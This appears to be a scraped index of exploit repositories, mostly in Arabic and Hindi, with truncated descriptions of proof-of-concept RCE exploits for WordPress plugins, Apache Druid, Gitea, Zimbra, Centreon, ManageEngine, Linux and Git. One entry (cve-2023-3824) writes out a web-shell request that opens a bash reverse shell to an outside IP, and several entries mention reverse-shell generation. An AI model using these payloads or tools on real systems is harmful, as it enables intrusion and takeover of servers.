php-jpeg-injector

php-jpeg-injector JPEG छवियों में PHP पेलोड इंजेक्ट करता है। यह पोस्ट से संबंधित। उपयोग का मामला आपके पास एक वेब एप्लिकेशन है जो JPEG छवि को PHP की GD ग्राफिक्स लाइब्रेरी के माध्यम से चलाता है। विवरण यह स्क्रिप्ट निर्दिष्ट JPEG छवि में PHP कोड इंजेक्ट करती है। वेब एप्लिकेशन पेलोड को निष्पादित करे...

CVE-2024-3121

CVE-2024-3121 - تنفيذ الأوامر عن بُعد RCE في parisneo/lollms اكتشفه: سيد جان محمد زايدي جيت هاب: dark-ninja10 معرف CVE: CVE-2024-3121 المستودع المتأثر: parisneo/lollms 🧨 ملخص الثغرة توجد ثغرة تنفيذ الأوامر عن بُعد RCE في دالة createcondaenv في إطار العمل lollms. تقوم هذه الدالة ببناء أمر نظام...

CVE-2024-27956-RCE

CVE-2024-27956-RCE إثبات مفهوم لـ CVE-2024-27956، وهو ثغرة حقن SQL في إضافة ValvePress Automatic. يستغل هذا الإثبات الثغرة بإنشاء مستخدم في الهدف ومنحه صلاحيات مسؤول. كون المستخدم مسؤولاً في ووردبريس يمكن أن يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الاستخدام git clone...

Apache-Druid-CVE-2021-25646-Exploit

استغلال Apache Druid لتنفيذ الأوامر عن بعد CVE-2021-25646 أداة استغلال بلغة Python لثغرة تنفيذ الأوامر عن بعد في Apache Druid عبر حقن كود JavaScript CVE-2021-25646. الوصف يستغل هذا السكريبت ثغرة تنفيذ الأوامر عن بعد في Apache Druid الإصدارات الأقدم من 0.20.1 التي تسمح بتنفيذ أكواد عشوائية عبر طلب...

CVE-2025-47812

CVE-2025-47812 أدى التحقق غير السليم من الإدخال إلى تنفيذ تعليمات برمجية عن بُعد واختراق كامل للنظام 📘 مقدمة: اكتشف جوليان أهرنس من RCE Security ثغرة أمنية حرجة تؤثر على WingFTP. تُعرف باسم CVE-2025-47812، ولها درجة CVSS تبلغ 10. قد يسمح الاستغلال الناجح للثغرة لمهاجم بعيد غير مصادَق بتنفيذ تعليم...

CVE-2024-3105-PoC

CVE-2024-3105 PoC إضافة Woody code snippets – Insert Header Footer Code, AdSense Ads لـ WordPress معرّضة لثغرة تنفيذ الأكواد عن بُعد Remote Code Execution في جميع الإصدارات حتى 2.5.0 ضمنًا، عبر shortcode 'insertphp'. يعود السبب إلى أن الإضافة لا تقيّد استخدام هذه الوظيفة على المستخدمين المصرح لهم...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في GiTea سكربت لاستغلال CVE-2020-14144 - تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في GiTea باستخدام git hooks الميزات توليد تلقائي لحمولة القشرة العكسية Reverse Shell من IP والمنفذ رفع سكربت شل مخصص وتنفيذه عن بُعد باستخدام الخيا...

cve-2025-66398

CVE-2025-66398 — إثبات المفهوم PoC لتنفيذ الأكواد عن بُعد في خادم Signal K 📜 الوصف CVE-2025-66398 هي مشكلة في خادم Signal K Server حيث يمكن لمهاجم غير مصادق تسميم حالة الاستعادة الخاصة بالخادم عبر /skServer/validateBackup، ثم اختطاف الإعدادات عبر /skServer/restore لحقن حساب مسؤول خلفي Backdoor...

CVE-2024-38063

CVE-2024-38063 ثغرة في نظام ويندوز تسمح بتنفيذ أنشطة غير مصرح بها عبر الشبكة: تنفيذ تعليمات برمجية عن بعد عبر TCP/IP الخاص بويندوز. جهازان افتراضيان - ضحية ومهاجم - جاهزان لمحاكاة الهجوم. على جهاز الضحية، تم استخدام أداة لالتقاط حزم الشبكة، TShark وضع سطر الأوامر في Wireshark، وتم تخزين البيانات...

CVE-2017-11176

CVE-2017-11176 إثبات المفهوم لـ CVE-2017-11176 لتنفيذ التعليمات البرمجية. الثغرة لا تقوم دالة mqnotify في نواة لينكس حتى الإصدار 4.11.9 بتعيين المؤشر sock إلى NULL عند الدخول إلى منطق إعادة المحاولة. أثناء إغلاق مقبس Netlink في مساحة المستخدم، تسمح للمهاجمين بالتسبب في رفض الخدمة use-after-free أ...

CVE-2020-23839

CVE-2020-23839 | GetSimple CMS v3.3.16 - XSS المنعكسة إلى RCE مؤلف الاستغلال: Bobby Cooke boku إحصائيات الثغرة OWASP Top Ten 2017: A7:2017-البرمجة النصية عبر المواقع XSS CWE-79: تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب 'البرمجة النصية عبر المواقع' - النوع 1: XSS المنعكسة درجة CVSS الأساسية:...

CVE-2021-25646-exp

CVE-2021-25646-exp أداة الكشف واستغلال ثغرة التنفيذ عن بُعد CVE-2021-25646 في Apache Druid أدخل اسم المجال أو IP:المنفذ لإجراء الكشف عن الثغرة يمكن تنفيذ الأوامر على الأهداف التي تم اكتشاف الثغرة فيها يدعم الهدف الفردي يدعم قراءة أهداف متعددة من ملف سطراً بسطر عرض ميداني كشف الثغرة استغلال الثغرة...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - ثغرة تنفيذ الأوامر عن بُعد في FlexPaper PHP Publish Service = 2.3.6 اكتُشفت بواسطة Red Timmy Security التحليل الفني: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf النشرة الأمنية: غير معروفة إثبات المفهوم: 1. حذ...

CVE-2022-27925

Zimbra अप्रमाणित रिमोट कोड निष्पादन एक्सप्लॉइट CVE-2022-27925...

Centreon-RCE

Centreon-RCE استغلال تنفيذ الأوامر عن بُعد في Centreon الإصدار 19.04 CVE-2019-13024 مراجعة لـ https://github.com/mhaskar/CVE-2019-13024 كيفية الاستخدام: 1. قم بتعديل القيم الافتراضية للوسائط حسب الرغبة، أو اتركها كما هي أسفل النص البرمجي 2. إذا لزم الأمر، قم بتعديل الدالة editcommand لتجاوز...

CVE-2026-28695-craft-rce-bypass

تجاوز تصحيح CVE-2026-28695 — تنفيذ أوامر عن بُعد مُوثَّق في Craft CMS ≤ 5.9.8 element-search CVSS 3.x : 8.8 HIGH تقريبي — تحقق منه CWE : CWE-502 إنشاء كائنات غير آمن + CWE-1336 أصل SSTI الأساس : CVE-2026-28695 SSTI عبر create + Symfony Process الإصلاح : تصحيح الاستشارة e31e508 يقيّد create بـ...

CVE-2022-28219

CVE-2022-28219 POC لـ CVE-2022-28219 الذي يؤثر على ManageEngine ADAudit Plus الإصدارات الأقل من 7060 التحليل الفني مزيد من التفاصيل في مدونتنا: https://www.horizon3.ai/red-team-blog-cve-2022-28219 الاستخدام % python3 CVE-2022-28219.py -h usage: CVE-2022-28219.py -h -t TARGET -l LHOST -d DOMAIN -l...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

Exploit-CVE-2021-21086

استغلال CVE-2021-21086 يسمح هذا الاستغلال بتنفيذ شيلكود في سياق عملية العرض لأدوبي أكروبات ريدر DC الإصدار 2020.013.20074 والإصدارات الأقدم على ويندوز 10. ملاحظة: شيلكود المستخدم في هذا المثال يفتح آلة حاسبة. لكي يعمل يجب تعطيل صندوق الحماية sandbox لأدوبي ريدر أو يمكنك استبداله بشيلكود آخر. يمكن...

CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384 git में एक अनुचित लिंक समाधान लिंक अनुसरण भेद्यता के रूप में सामने आता है। विशेष रूप से, कैरिज रिटर्न वाले फ़ाइलनाम .git/config में ठीक से पार्स नहीं होते हैं, और एक सबमॉड्यूल में स्थित git हुक निष्पादन योग्य को इंगित करने वाले सिमलिंक को सबमॉड्यूल हुक निर्देशिका...